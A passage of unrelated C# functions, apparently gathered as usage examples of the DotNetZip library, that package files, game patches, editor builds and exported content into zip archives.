"sGurnalUchetaNositeley.rtf": test = ""; break; case "sGurnalUchetaParoley.rtf": test = ""; break; case "sGurnalUchetaProverokStolb.rtf": test = ""; break; case "sGurnalUchetaProverokTable.rtf": test = ""; break; case "sGurnalUchetaSredstvZachit.rtf": test = ""; break; case "sMinZatratNaZashitu.rtf": test = ""; break; case "sOtchetPoAuditu.rtf": test = ""; break; case "sPrikazNaznachenieOtvetstvenZaTehnZahituKripto.rtf": test = ""; break; default: test = ""; break; } /* * Конец блок замены данных в файле перед созданием нового * ******************************************************************************************** */ /** * Тут нужно записать файл в новый Rtf с тем же именем */ using (StreamWriter FS = new StreamWriter(destFile, true, System.Text.Encoding.GetEncoding(1251))) { FS.Write(rtfDoc); // сохранить даные из richTextBox1 FS.Close(); } rtfDoc = ""; } } } } } if (!System.IO.Directory.Exists(putFirst + pathLoadArhiv)) { System.IO.Directory.CreateDirectory(putFirst + pathLoadArhiv); } DirectoryInfo dirFilArh = new DirectoryInfo(putFirst + pathLoadArhiv); if (dirFilArh.GetFiles().Length > 0) { using (ZipFile zip = new ZipFile()) // Создаем объект для работы с архивом { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия // конец раздела архивирования zip.AddDirectory(putFirst + pathLoadArhiv); // Кладем в архив папку вместе с содежимым //zip.AddFile(@"c:\PROEKT\WebServiseISPDN\WebApplicationISPDn\MemberPages\GotovDoc\AktKlassISPDn.doc"); // Кладем в архив одиночный файл zip.Save(putFirst + pathLoad + "docsAudit.zip"); // Создаем архив } CheckBoxListDocZip.Items.Clear(); HyperLinkDocLoad.Text = "Ваша ссылка на архив документов"; HyperLinkDocLoad.NavigateUrl = "~\\MemberPages\\LoadFiles\\docsAudit.zip"; HyperLinkDocLoad.Visible = true; System.IO.Directory.Delete(putFirst + pathLoadArhiv, true); } else { CheckBoxListDocZip.Items.Clear(); HyperLinkDocLoad.Text = "Вы не сформировали ни одного документа"; HyperLinkDocLoad.NavigateUrl = ""; HyperLinkDocLoad.Visible = true; HyperLinkDocLoad.Enabled = false; } }
public ActionResult DownloadBook(int id) { // delete all the old stuff DeleteOldFiles(); // grab all the stuff ComfortModel cdb = new ComfortModel(); ViewController.BookModel model = new ViewController.BookModel(id); var theBook = cdb.Books.Where(x => x.BookId == id).FirstOrDefault(); // TODO validate // loop through model.PageContent, and separate out all the XML pieces List <string> contentLs = new List <string>(); foreach (var item in model.PageContent) { contentLs.Add(item.content); item.content = ""; } // change the offline load to read two different files string dt = DateTime.Now.ToString("yyyy-dd-M--HH-mm-ss"); // make the name of the book safe for filenames string bookName = theBook.Name; foreach (var c in Path.GetInvalidFileNameChars()) { bookName = bookName.Replace(c, '-'); } string fullFileName = Server.MapPath("~/ZipDump/" + bookName + "_" + dt + ".zip"); string fileName = bookName + "_" + dt + ".zip"; string configFile1 = Server.MapPath("~/ZipDump/1config_" + dt + ".js"); string configFile2 = Server.MapPath("~/ZipDump/2config_" + dt + ".js"); string homeFile = Server.MapPath("~/ZipDump/index.html"); using (ZipFile zip = new ZipFile()) { zip.AddDirectory(Server.MapPath("~/Content/"), "/Content/"); zip.AddDirectory(Server.MapPath("~/fonts/"), "/fonts/"); // Add Index.html // I need to strip down this file, and include the variables "config1.js" and config2.js" using (var tw = new StreamWriter(homeFile, true)) { string text = System.IO.File.ReadAllText(Server.MapPath("~/Views/View/Index.cshtml")); text = text.Replace("~/", "./"); string scriptText = "<script src=\"./Content/js/offline.js\"></script>"; scriptText += "<script src=\"./Content/js/config1.js\"></script>"; scriptText += "<script src=\"./Content/js/config2.js\"></script>"; text = text.Replace("<script src=\"./Content/js/offline.js\"></script>", scriptText); tw.Write(text); zip.AddFile(homeFile).FileName = "index.html"; } using (var tw = new StreamWriter(configFile1, true)) { // create the config file tw.Write("var offline_ConfigXml = $.parseXML(`"); tw.Write(model.ConfigXml.OuterXml); tw.Write("`);"); zip.AddFile(configFile1).FileName = "/Content/js/config1.js"; } using (var tw = new StreamWriter(configFile2, true)) { // create the config file tw.Write("var offline_PageContents = `"); var jsonSerialiser = new JavaScriptSerializer(); var json = jsonSerialiser.Serialize(model.PageContent); tw.Write(json); tw.Write("`;"); tw.WriteLine(Environment.NewLine); tw.WriteLine("var offline_PageGuts = [];"); tw.WriteLine(Environment.NewLine); tw.WriteLine(Environment.NewLine); tw.WriteLine("function loadGuts() {"); foreach (var page in contentLs) { tw.WriteLine("offline_PageGuts.push(`" + page + "`);"); } tw.WriteLine("}"); zip.AddFile(configFile2).FileName = "/Content/js/config2.js"; } // map the images too // first get all the pages in the book var bookPages = cdb.BookPages.Where(x => x.BookId == theBook.BookId).Select(x => x.PageId).ToList(); var pages = cdb.Pages.Where(x => bookPages.Contains(x.PageId)).ToList(); foreach (var p in pages) { // find all associated files with that page var files = cdb.Files.Where(x => x.PageId == p.PageId).ToList(); int count = 1; foreach (var f in files) { if (f.Content != null) { string fName = Server.MapPath("~/ZipDump/f_" + count.ToString() + "_" + dt); string newFileName = "/Content/"; switch (f.FileType) { case FileType.Photo: switch (f.ContentType) { case "image/jpg": case "image/jpeg": fName += ".jpg"; newFileName += "images/i_" + f.FileId.ToString() + ".jpg"; break; case "image/png": fName += ".png"; newFileName += "images/i_" + f.FileId.ToString() + ".png"; break; } break; case FileType.Video: break; } // write the file to the stream using (var tw = new StreamWriter(fName, true)) { tw.BaseStream.Write(f.Content, 0, f.Content.Length); zip.AddFile(fName).FileName = newFileName; } } } } zip.Save(fullFileName); return(File(fullFileName, "application/zip", fileName)); } }
public static string ExportJson(string project, string module, List <string> languages, string exportPath, bool withDefaultValue = true) { using (var fastZip = new ZipFile()) { var filter = new ResCurrent { Project = new ResProject { Name = project }, Module = new ResModule { Name = module } }; var zipDirectory = Directory.CreateDirectory(exportPath + module); foreach (var language in languages) { filter.Language = new ResCulture { Title = language }; var words = ResourceData.GetListResWords(filter, string.Empty).GroupBy(x => x.ResFile.FileID).ToList(); if (!words.Any()) { Console.WriteLine("Error!!! Can't find appropriate project and module. Possibly wrong names!"); return(null); } foreach (var fileWords in words) { var wordsDictionary = new Dictionary <string, string>(); foreach (var word in fileWords.OrderBy(x => x.Title).Where(word => !wordsDictionary.ContainsKey(word.Title))) { if (string.IsNullOrEmpty(word.ValueTo) && !withDefaultValue) { continue; } wordsDictionary[word.Title] = word.ValueTo ?? word.ValueFrom; if (!string.IsNullOrEmpty(wordsDictionary[word.Title])) { wordsDictionary[word.Title] = wordsDictionary[word.Title].TrimEnd('\n').TrimEnd('\r'); } } var firstWord = fileWords.FirstOrDefault(); var fileName = firstWord == null ? module : Path.GetFileNameWithoutExtension(firstWord.ResFile.FileName); var zipFileName = zipDirectory.FullName + "\\" + fileName + (language == "Neutral" ? string.Empty : "." + language) + ".json"; using (TextWriter writer = new StreamWriter(zipFileName)) { var obj = JsonConvert.SerializeObject(wordsDictionary, Formatting.Indented); writer.Write(obj); } } } var zipPath = exportPath + "\\" + module + ".zip"; fastZip.AddDirectory(zipDirectory.FullName); fastZip.Save(zipPath); zipDirectory.Delete(true); return(zipPath); } }
// @todo: use temp, random names for zip files public static void CopyDirectory(string Source, string Dest, ECopyOptions Options) { string SourceDirName = Path.GetFileName(Source); string DestDirName = Path.GetFileName(Dest); if (Options.HasFlag(ECopyOptions.IsUpload)) { if (!Directory.Exists(Source)) { return; } // Zip source directory string SourceZipPath = Path.Combine(Path.GetFullPath(Path.GetDirectoryName(Source)), SourceDirName + ".zip"); File.Delete(SourceZipPath); ZipFile Zip = new ZipFile(SourceZipPath); Zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level9; Zip.BufferSize = 0x10000; Zip.AddDirectory(Source, DestDirName); Zip.Save(); // Upload the zip file string DestWorkingDir = Path.GetDirectoryName(Dest).Replace("\\", "/"); string DestZipName = DestDirName + ".zip"; CopyFile(SourceZipPath, DestWorkingDir + "/" + DestZipName, true); if (!Options.HasFlag(ECopyOptions.DoNotReplace)) { Command(DestWorkingDir, "rm -rf \"" + DestDirName + "\"", "", null); } if (!Options.HasFlag(ECopyOptions.DoNotUnpack)) { // Unpack, if requested Command(DestWorkingDir, "unzip \"" + DestZipName + "\"", "", null); Command(DestWorkingDir, "rm \"" + DestZipName + "\"", "", null); } File.Delete(SourceZipPath); } else { // Zip source directory string SourceWorkingDir = Path.GetDirectoryName(Source).Replace("\\", "/"); string ZipCommand = "zip -0 -r -y -T " + SourceDirName + ".zip " + SourceDirName; Command(SourceWorkingDir, ZipCommand, "", null); // Download the zip file string SourceZipPath = Path.Combine(Path.GetDirectoryName(Source), SourceDirName + ".zip").Replace("\\", "/"); string DestZipPath = Path.Combine(Path.GetFullPath(Path.GetDirectoryName(Dest)), DestDirName + ".zip"); CopyFile(SourceZipPath, DestZipPath, false); if (!Options.HasFlag(ECopyOptions.DoNotReplace) && Directory.Exists(Dest)) { Directory.GetFiles(Dest, "*", SearchOption.AllDirectories).ToList().ForEach(Entry => { File.SetAttributes(Entry, FileAttributes.Normal); }); Directory.Delete(Dest, true); } if (!Options.HasFlag(ECopyOptions.DoNotUnpack)) { // Unpack, if requested using (ZipFile Zip = ZipFile.Read(DestZipPath)) { Zip.ToList().ForEach(Entry => { Entry.FileName = DestDirName + Entry.FileName.Substring(SourceDirName.Length); Entry.Extract(Path.GetDirectoryName(Dest), ExtractExistingFileAction.OverwriteSilently); }); } File.Delete(DestZipPath); } Command(SourceWorkingDir, "rm \"" + SourceDirName + ".zip\"", "", null); } }
public static void CreateZipFile(string zipPath) { zipPath = zipPath ?? string.Empty; // For quiet ReSharper code inspection Console.WriteLine(); Console.WriteLine("# Creating " + Path.GetFileName(zipPath) + "..."); Console.WriteLine(); if (File.Exists(zipPath)) { File.Delete(zipPath); } var exeDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? ""; Directory.SetCurrentDirectory(exeDirectory); var solutionDirectory = exeDirectory; while (!File.Exists(Path.Combine(solutionDirectory, "Skyline.sln"))) { solutionDirectory = Path.GetDirectoryName(solutionDirectory); if (string.IsNullOrEmpty(solutionDirectory)) { throw new ApplicationException("Can't find solution directory"); } } using (var zipFile = new ZipFile(zipPath)) { // DotNetZip has a _bug_ which causes an extraction error without this // (see http://stackoverflow.com/questions/15337186/dotnetzip-badreadexception-on-extract) zipFile.ParallelDeflateThreshold = -1; zipFile.AlternateEncodingUsage = ZipOption.Always; zipFile.AlternateEncoding = System.Text.Encoding.UTF8; if ((String.Empty + Path.GetFileName(zipPath)).ToLower() == "skylinenightly.zip") { // Add files to top level of zip file. var files = new[] { "SkylineNightlyShim.exe", "SkylineNightly.exe", "SkylineNightly.pdb", "Microsoft.Win32.TaskScheduler.dll", "DotNetZip.dll" }; foreach (var file in files) { Console.WriteLine(file); zipFile.AddFile(file); } } else if ((String.Empty + Path.GetFileName(zipPath)).ToLower() == "bibliospec.zip") { // Create a BiblioSpec distro var files = new List <string> { "BlibBuild.exe", "BlibFilter.exe", "MassLynxRaw.dll", "timsdata.dll", "baf2sql_c.dll", "cdt.dll", "modifications.xml", "quantitation_1.xsd", "quantitation_2.xsd", "unimod_2.xsd" }; var dir = Directory.GetCurrentDirectory(); files.Add(dir.Contains("Debug") ? "msparserD.dll" : "msparser.dll"); // Locate BlibToMS2 var parent = dir.IndexOf("Skyline\\", StringComparison.Ordinal); if (parent > 0) { dir = dir.Substring(0, parent); var blib2ms2 = dir + "Shared\\BiblioSpec\\obj\\x64\\BlibToMs2.exe"; if (File.Exists(blib2ms2)) // Don't worry about this for a 32 bit build, we don't distribute that { files.Add(blib2ms2); } } foreach (var file in files) { Console.WriteLine(file); zipFile.AddFile(file, string.Empty); } } else { // Add SkylineTester at top level of zip file. Console.WriteLine("SkylineTester.exe"); zipFile.AddFile("SkylineTester.exe"); // Add .skytr files at top level of zip file. var skytrDirectory = Path.Combine(solutionDirectory, @"SkylineTester\Run files"); foreach (var skytrFile in Directory.EnumerateFiles(skytrDirectory, "*.skytr")) { AddFile(skytrFile, zipFile, "."); } // Add each subdirectory in the bin directory. foreach (var directory in Directory.EnumerateDirectories(".")) { if (Include(directory)) { var name = Path.GetFileName(directory) ?? ""; Console.WriteLine(Path.Combine(SkylineTesterWindow.SkylineTesterFiles, name)); zipFile.AddDirectory(directory, Path.Combine(SkylineTesterWindow.SkylineTesterFiles, name)); } } // Add each file in the bin directory. foreach (var file in Directory.EnumerateFiles(".")) { if (Include(file)) { AddFile(file, zipFile); } } // Add test zip files. var zipFilesList = new List <string>(); FindZipFiles(solutionDirectory, zipFilesList); var zipFilesDirectory = Path.Combine(SkylineTesterWindow.SkylineTesterFiles, "TestZipFiles"); foreach (var testZipFile in zipFilesList) { var testZipDirectory = Path.GetDirectoryName(testZipFile); if (string.IsNullOrEmpty(testZipDirectory)) { continue; } testZipDirectory = Path.Combine(zipFilesDirectory, testZipDirectory.Substring(solutionDirectory.Length + 1)); AddFile(testZipFile, zipFile, testZipDirectory); } // Add pwiz vendor reader test data var vendorTestData = new List <string>(); foreach (TestFilesDir.VendorDir vendorDir in Enum.GetValues(typeof(TestFilesDir.VendorDir))) { FindVendorReaderTestData(TestFilesDir.GetVendorTestData(vendorDir), vendorTestData); } foreach (var file in vendorTestData) { var parentDirectory = Path.GetDirectoryName(file); if (string.IsNullOrEmpty(parentDirectory)) { continue; } int relativePathStart = parentDirectory.LastIndexOf('\\', parentDirectory.IndexOf(@"Test.data", StringComparison.InvariantCulture)); parentDirectory = parentDirectory.Substring(relativePathStart + 1); AddFile(file, zipFile, Path.Combine(SkylineTesterWindow.SkylineTesterFiles, parentDirectory)); } // Add the file that we use to determine which branch this is from AddFile(Path.Combine(solutionDirectory, "..\\..\\pwiz\\Version.cpp"), zipFile); // Add unit testing DLL. const string relativeUnitTestingDll = @"PublicAssemblies\Microsoft.VisualStudio.QualityTools.UnitTestFramework.dll"; var unitTestingDll = SkylineTesterWindow.GetExistingVsIdeFilePath(relativeUnitTestingDll); if (unitTestingDll == null) { throw new ApplicationException(string.Format("Can't find {0}", relativeUnitTestingDll)); } AddFile(unitTestingDll, zipFile); } Console.WriteLine(); Console.WriteLine("# Saving..."); zipFile.Save(); Console.WriteLine(); Console.WriteLine("# {0} size: {1:F1} MB", Path.GetFileName(zipPath), new FileInfo(PathEx.SafePath(zipPath)).Length / (1024.0 * 1024)); Console.WriteLine("# Done."); Console.WriteLine(); } }
static void Main(string[] args) { //Get params from XML GetXMLParams(out string password, out string oneDrivePath); //Debug //args = new string[] {@"C:\Java"}; //args = new string[] { @"C:\Test_zaZip" }; //args = new string[] { @"C:\TestVideo\Test_pic\test_1.jpg"}; //Loop through list for (int i = 0; i < args.Length; i++) { //ZIPing String putanja = args.ElementAt(i); String nazivDatoteke = args.ElementAt(i); int lastIndex = nazivDatoteke.LastIndexOf(@"\"); nazivDatoteke = nazivDatoteke.Substring(lastIndex); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Zipping folder: " + nazivDatoteke); Console.WriteLine(@"Path: {0}", putanja); try { ZipFile zip = new ZipFile(oneDrivePath + nazivDatoteke + ".zip"); zip.UseZip64WhenSaving = Zip64Option.Always; zip.CompressionLevel = Ionic.Zlib.CompressionLevel.None; zip.Password = password; zip.SaveProgress += Zip_SaveProgress; // get the file attributes for file or directory FileAttributes attr = File.GetAttributes(putanja); if (attr.HasFlag(FileAttributes.Directory)) { zip.AddDirectory(args.ElementAt(i)); } else { zip.AddFile(args.ElementAt(i)); } zip.Save(); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(); Console.WriteLine("Zipping successful !!!"); Console.WriteLine(); } catch (Exception e) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("ERROR: {0}", e.Message); Console.WriteLine(); Console.ResetColor(); } } Console.ReadKey(); }
static void Main(string[] args) { if (Environment.OSVersion.Version.Major >= 6) { SetProcessDPIAware(); } FileVersionInfo fvi = FileVersionInfo.GetVersionInfo(ExecutingAssembly.Location); version = "v" + fvi.ProductVersion; if (!Directory.Exists(AppDomain.CurrentDomain.BaseDirectory + "/resources")) { UpdateResources(); } if (!File.Exists(AppDomain.CurrentDomain.BaseDirectory + "/resources/custom_filenames.txt")) { File.AppendAllText(AppDomain.CurrentDomain.BaseDirectory + "/resources/custom_filenames.txt", ""); } Console.WriteLine($"KHPCPatchManager {version}"); bool extract_raw = false; bool nobackup = false; bool extractPatch = false; string hedFile = null, pkgFile = null, pkgFolder = null; List <string> originFolder = new List <string>(); List <string> patchFolders = new List <string>(); bool help = false; try{ for (int i = 0; i < args.Length; i++) { if (Path.GetExtension(args[i]) == ".hed") { hedFile = args[i]; } else if (Path.GetExtension(args[i]) == ".pkg") { pkgFile = args[i]; } else if (Directory.Exists(args[i])) { pkgFolder = args[i]; patchFolders.Add(args[i]); } else if (Path.GetExtension(args[i]) == ".kh1pcpatch") { patchType.Add("KH1"); originFolder.Add(args[i]); } else if (Path.GetExtension(args[i]) == ".kh2pcpatch") { patchType.Add("KH2"); originFolder.Add(args[i]); } else if (Path.GetExtension(args[i]) == ".compcpatch") { patchType.Add("COM"); originFolder.Add(args[i]); } else if (Path.GetExtension(args[i]) == ".bbspcpatch") { patchType.Add("BBS"); originFolder.Add(args[i]); } else if (Path.GetExtension(args[i]) == ".dddpcpatch") { patchType.Add("DDD"); originFolder.Add(args[i]); } else if (args[i] == "-extract") { extractPatch = true; } else if (args[i] == "-nobackup") { nobackup = true; } else if (args[i] == "-raw") { extract_raw = true; } else { if (args[i] == "help" || args[i] == "-help" || args[i] == "--help" || args[i] == "-h" || args[i] == "--h" || args[i] == "?") { help = true; } } } if (hedFile != null && !extract_raw) { Console.WriteLine("Extracting pkg..."); OpenKh.Egs.EgsTools.Extract(hedFile, hedFile + "_out"); Console.WriteLine("Done!"); } else if (hedFile != null && extract_raw) { Console.WriteLine("Extracting raw pkg..."); OpenKh.Egs.EgsTools.ExtractRAW(hedFile, hedFile + "_out"); Console.WriteLine("Done!"); } else if (pkgFile != null && pkgFolder != null) { Console.WriteLine("Patching pkg..."); OpenKh.Egs.EgsTools.Patch(pkgFile, pkgFolder, pkgFolder + "_out"); Console.WriteLine("Done!"); } else if (pkgFile == null && pkgFolder != null) { Console.WriteLine("Creating patch..."); using (var zip = new ZipFile()){ for (int i = 0; i < patchFolders.Count; i++) { Console.WriteLine("Adding: {0}", patchFolders[i]); zip.AddDirectory(patchFolders[i], ""); if (Directory.Exists(patchFolders[i] + @"\kh1_first") || Directory.Exists(patchFolders[i] + @"\kh1_second") || Directory.Exists(patchFolders[i] + @"\kh1_third") || Directory.Exists(patchFolders[i] + @"\kh1_fourth") || Directory.Exists(patchFolders[i] + @"\kh1_fifth")) { zip.Save("MyPatch.kh1pcpatch"); } else if (Directory.Exists(patchFolders[i] + @"\kh2_first") || Directory.Exists(patchFolders[i] + @"\kh2_second") || Directory.Exists(patchFolders[i] + @"\kh2_third") || Directory.Exists(patchFolders[i] + @"\kh2_fourth") || Directory.Exists(patchFolders[i] + @"\kh2_fifth") || Directory.Exists(patchFolders[i] + @"\kh2_sixth")) { zip.Save("MyPatch.kh2pcpatch"); } else if (Directory.Exists(patchFolders[i] + @"\Recom")) { zip.Save("MyPatch.compcpatch"); } else if (Directory.Exists(patchFolders[i] + @"\bbs_first") || Directory.Exists(patchFolders[i] + @"\bbs_second") || Directory.Exists(patchFolders[i] + @"\bbs_third") || Directory.Exists(patchFolders[i] + @"\bbs_fourth")) { zip.Save("MyPatch.bbspcpatch"); } else if (Directory.Exists(patchFolders[i] + @"\kh3d_first") || Directory.Exists(patchFolders[i] + @"\kh3d_second") || Directory.Exists(patchFolders[i] + @"\kh3d_third") || Directory.Exists(patchFolders[i] + @"\kh3d_fourth")) { zip.Save("MyPatch.dddpcpatch"); } } } Console.WriteLine("Done!"); } else if (originFolder.Count > 0) { if (patchType.Distinct().ToList().Count == 1) { ApplyPatch(originFolder, patchType[0], null, !nobackup, extractPatch); } else { Console.WriteLine(multiplePatchTypesSelected); } } else if (help) { Console.WriteLine("\nHow to use KHPCPatchManager in CLI:"); Console.WriteLine("- Feed a .hed file to unpack the associated .pkg file:\n khpcpatchmanager <hed_file>\n"); Console.WriteLine("- Feed a .pkg file and its unpacked folder to patch it:\n khpcpatchmanager <pkg_file> <unpacked_pkg_folder>\n"); Console.WriteLine("- Feed a folder(s) (extracted .pkg format) to create a kh1pcpatch, kh2pcpatch, bbspcpatch, compcpatch or a dddpcpatch:\n khpcpatchmanager <unpacked_pkg_folder>\n"); Console.WriteLine("- Feed a kh1pcpatch, kh2pcpatch, bbspcpatch, compcpatch or a dddpcpatch to patch your .pkgs:\n khpcpatchmanager <.[kh1/com/kh2/bbs/ddd]pcpatch file>\n"); } else { InitUI(); } }catch (Exception e) { Console.WriteLine($"Error: {e}"); } if (!GUI_Displayed) { Console.ReadLine(); } }
public static void Package() { // Prepare RootPath = Globals.EngineRoot; OutputPath = Path.Combine(Deployer.PackageOutputPath, "Editor"); Utilities.DirectoryDelete(OutputPath); Directory.CreateDirectory(OutputPath); Log.Info(string.Empty); Log.Info("Deploy editor files"); Log.Info(string.Empty); // Deploy binaries foreach (var configuration in Deployer.Configurations) { DeployEditorBinaries(configuration); } { var binariesSubDir = "Binaries/Tools"; var src = Path.Combine(RootPath, binariesSubDir); var dst = Path.Combine(OutputPath, binariesSubDir); DeployFile(src, dst, "Flax.Build.exe"); CodeSign(Path.Combine(dst, "Flax.Build.exe")); DeployFile(src, dst, "Flax.Build.xml"); DeployFile(src, dst, "Ionic.Zip.Reduced.dll"); DeployFile(src, dst, "Newtonsoft.Json.dll"); } // Deploy content DeployFolder(RootPath, OutputPath, "Content"); // Deploy Mono runtime data files if (Platform.BuildPlatform.Target == TargetPlatform.Windows) { DeployFolder(RootPath, OutputPath, "Source/Platforms/Editor/Windows/Mono"); } else if (Platform.BuildPlatform.Target == TargetPlatform.Linux) { DeployFolder(RootPath, OutputPath, "Source/Platforms/Editor/Linux/Mono"); } else { throw new NotImplementedException(); } // Deploy DotNet deps { var subDir = "Source/Platforms/DotNet"; DeployFile(RootPath, OutputPath, subDir, "Newtonsoft.Json.dll"); DeployFile(RootPath, OutputPath, subDir, "Newtonsoft.Json.xml"); } // Deploy sources { // Modules public files var rules = Builder.GenerateRulesAssembly(); var files = new List <string>(); foreach (var module in rules.Modules) { module.GetFilesToDeploy(files); files.Add(module.FilePath); foreach (var file in files) { var src = Path.GetDirectoryName(file); var dst = Path.Combine(OutputPath, Utilities.MakePathRelativeTo(src, RootPath)); var filename = Path.GetFileName(file); DeployFile(src, dst, filename); } files.Clear(); } // Shader includes var shaders = Directory.GetFiles(Path.Combine(RootPath, "Source/Shaders"), "*.hlsl", SearchOption.AllDirectories); foreach (var shader in shaders) { var localPath = Utilities.MakePathRelativeTo(shader, RootPath); DeployFile(shader, Path.Combine(OutputPath, localPath)); } // Custom engine files DeployFile(RootPath, OutputPath, "Source/ThirdParty", "concurrentqueue.h"); DeployFile(RootPath, OutputPath, "Source", ".editorconfig"); DeployFile(RootPath, OutputPath, "Source", "flax.natvis"); DeployFile(RootPath, OutputPath, "Source", "FlaxEditor.Build.cs"); DeployFile(RootPath, OutputPath, "Source", "FlaxEngine.Gen.h"); DeployFile(RootPath, OutputPath, "Source", "FlaxGame.Build.cs"); // Mark deployed sources as already prebuilt Utilities.ReplaceInFile(Path.Combine(OutputPath, "Source/FlaxEditor.Build.cs"), "IsPreBuilt = false;", "IsPreBuilt = true;"); Utilities.ReplaceInFile(Path.Combine(OutputPath, "Source/FlaxGame.Build.cs"), "IsPreBuilt = false;", "IsPreBuilt = true;"); } // Deploy project DeployFile(RootPath, OutputPath, "Flax.flaxproj"); // Compress Log.Info(string.Empty); Log.Info("Compressing editor files..."); string editorPackageZipPath; if (Platform.BuildPlatform.Target == TargetPlatform.Linux) { // Use system tool (preserves executable file attributes and link files) editorPackageZipPath = Path.Combine(Deployer.PackageOutputPath, "FlaxEditorLinux.zip"); Utilities.FileDelete(editorPackageZipPath); Utilities.Run("zip", "Editor.zip -r .", null, OutputPath, Utilities.RunOptions.None); File.Move(Path.Combine(OutputPath, "Editor.zip"), editorPackageZipPath); } else { editorPackageZipPath = Path.Combine(Deployer.PackageOutputPath, "Editor.zip"); Utilities.FileDelete(editorPackageZipPath); using (ZipFile zip = new ZipFile()) { zip.AddDirectory(OutputPath); zip.CompressionLevel = CompressionLevel.BestCompression; zip.Comment = string.Format("Flax Editor {0}.{1}.{2}\nDate: {3}", Deployer.VersionMajor, Deployer.VersionMinor, Deployer.VersionBuild, DateTime.UtcNow); zip.Save(editorPackageZipPath); } } Log.Info("Compressed editor package size: " + Utilities.GetFileSize(editorPackageZipPath)); if (Platform.BuildPlatform.Target == TargetPlatform.Windows) { Log.Info("Compressing editor debug symbols files..."); editorPackageZipPath = Path.Combine(Deployer.PackageOutputPath, "EditorDebugSymbols.zip"); Utilities.FileDelete(editorPackageZipPath); using (ZipFile zip = new ZipFile()) { zip.AddDirectory(Path.Combine(Deployer.PackageOutputPath, "EditorDebugSymbols")); zip.CompressionLevel = CompressionLevel.BestCompression; zip.Comment = string.Format("Flax Editor {0}.{1}.{2}\nDate: {3}", Deployer.VersionMajor, Deployer.VersionMinor, Deployer.VersionBuild, DateTime.UtcNow); zip.Save(editorPackageZipPath); } Log.Info("Compressed editor debug symbols package size: " + Utilities.GetFileSize(editorPackageZipPath)); } // Cleanup Utilities.DirectoryDelete(OutputPath); Utilities.DirectoryDelete(Path.Combine(Deployer.PackageOutputPath, "EditorDebugSymbols")); }
/// <summary> /// Checks of path is already zipped if it is it submits as-is, if not, it zips the folder and all contents to a zip file appending a guid to the name, /// places in the tempPath provided /// </summary> /// <param name="zipPath">Folder to be zipped</param> /// <param name="tempPath">Optional output path for the zipped file, defaults to Windows temp</param> /// <returns>Path to the zip file</returns> private static string ZipFolder(string zipPath, string tempPath = "") { try { var fa = File.GetAttributes(zipPath); if (!fa.HasFlag(FileAttributes.Directory) && Path.GetExtension(zipPath) == ".zip") { Trace.WriteLine("Using existing ZIP file."); if (_includeAllFiles) { return(zipPath); } // decompress to temp location and set zipPath to new folder using (var zip = new ZipFile(zipPath)) { zip.ExtractAll(Path.Combine(Path.GetTempPath(), OutputName), ExtractExistingFileAction.OverwriteSilently); zipPath = Path.Combine(Path.GetTempPath(), OutputName); } } if (string.IsNullOrEmpty(tempPath)) { tempPath = Path.GetTempPath(); } var tempZipPath = Path.Combine(tempPath, OutputName + ".zip"); if (_includeAllFiles || _technologyStack.ToUpper() == "OBJECTIVE-C" || _technologyStack.ToUpper() == "SWIFT" || _technologyStack.ToUpper().Contains("IOS") || _technologyStack.ToUpper() == "IOS SWIFT & OBJECTIVE-C/C++") { using (var zip = new ZipFile(tempZipPath)) { Trace.WriteLine("Compressing folder without filtering..."); zip.AddDirectory(zipPath); if (zip.Entries.Count == 0) { Trace.WriteLine( $"Error: Selected path \"{zipPath}\" contains no valid files to ZIP. Please check your settings and try again."); Environment.Exit(-1); } zip.Save(); Trace.WriteLine($"Created ZIP: {zip.Name}"); zipPath = tempZipPath; return(zipPath); } } // process supported extensions into ZIP, set zipPath to new ZIP, provide log output using (var zip = new ZipFile(tempZipPath)) { var directory = new DirectoryInfo(zipPath); var files = directory.EnumerateFiles("*", SearchOption.AllDirectories).Where(x => SupportedExtensions.Contains(x.Extension.ToLower())).ToList(); var assessmentFiles = files.Select(fi => fi.FullName).ToList(); Trace.WriteLine("Compressing folder filtered by supported file extensions.."); zip.AddFiles(assessmentFiles, true, ""); if (zip.Entries.Count == 0) { Trace.WriteLine( $"Error: Selected path \"{zipPath}\" contains no scannable files to ZIP. Please check your application folder contents and try again."); Environment.Exit(-1); } zip.Save(); Trace.WriteLine($"Created ZIP: {zip.Name}"); return(tempZipPath); } } catch (Exception ex) { Trace.WriteLine(ex); Environment.Exit(-1); } return(zipPath); }
private void Button_Click(object sender, RoutedEventArgs e) { using (var zip = new ZipFile()) { if (Directory.Exists(PathText.Text) && DestinationText.Text != "") { if (!Directory.Exists(savePath + "\\" + saveName)) { Directory.CreateDirectory(savePath + "\\" + saveName); } if (!File.Exists(savePath + "\\" + saveName + "\\love.dll")) { File.Copy("C:\\Program Files\\LOVE\\love.dll", savePath + "\\" + saveName + "\\love.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\love.exe")) { File.Copy("C:\\Program Files\\LOVE\\love.exe", savePath + "\\" + saveName + "\\love.exe"); } if (!File.Exists(savePath + "\\" + saveName + "\\lovec.exe")) { File.Copy("C:\\Program Files\\LOVE\\lovec.exe", savePath + "\\" + saveName + "\\lovec.exe"); } if (!File.Exists(savePath + "\\" + saveName + "\\lua51.dll")) { File.Copy("C:\\Program Files\\LOVE\\lua51.dll", savePath + "\\" + saveName + "\\lua51.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\mpg123.dll")) { File.Copy("C:\\Program Files\\LOVE\\mpg123.dll", savePath + "\\" + saveName + "\\mpg123.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\msvcp120.dll")) { File.Copy("C:\\Program Files\\LOVE\\msvcp120.dll", savePath + "\\" + saveName + "\\msvcp120.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\msvcr120.dll")) { File.Copy("C:\\Program Files\\LOVE\\msvcr120.dll", savePath + "\\" + saveName + "\\msvcr120.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\OpenAL32.dll")) { File.Copy("C:\\Program Files\\LOVE\\OpenAL32.dll", savePath + "\\" + saveName + "\\OpenAL32.dll"); } if (!File.Exists(savePath + "\\" + saveName + "\\SDL2.dll")) { File.Copy("C:\\Program Files\\LOVE\\SDL2.dll", savePath + "\\" + saveName + "\\SDL2.dll"); } if (File.Exists(savePath + "\\" + saveName + "\\" + saveName + ".exe")) { 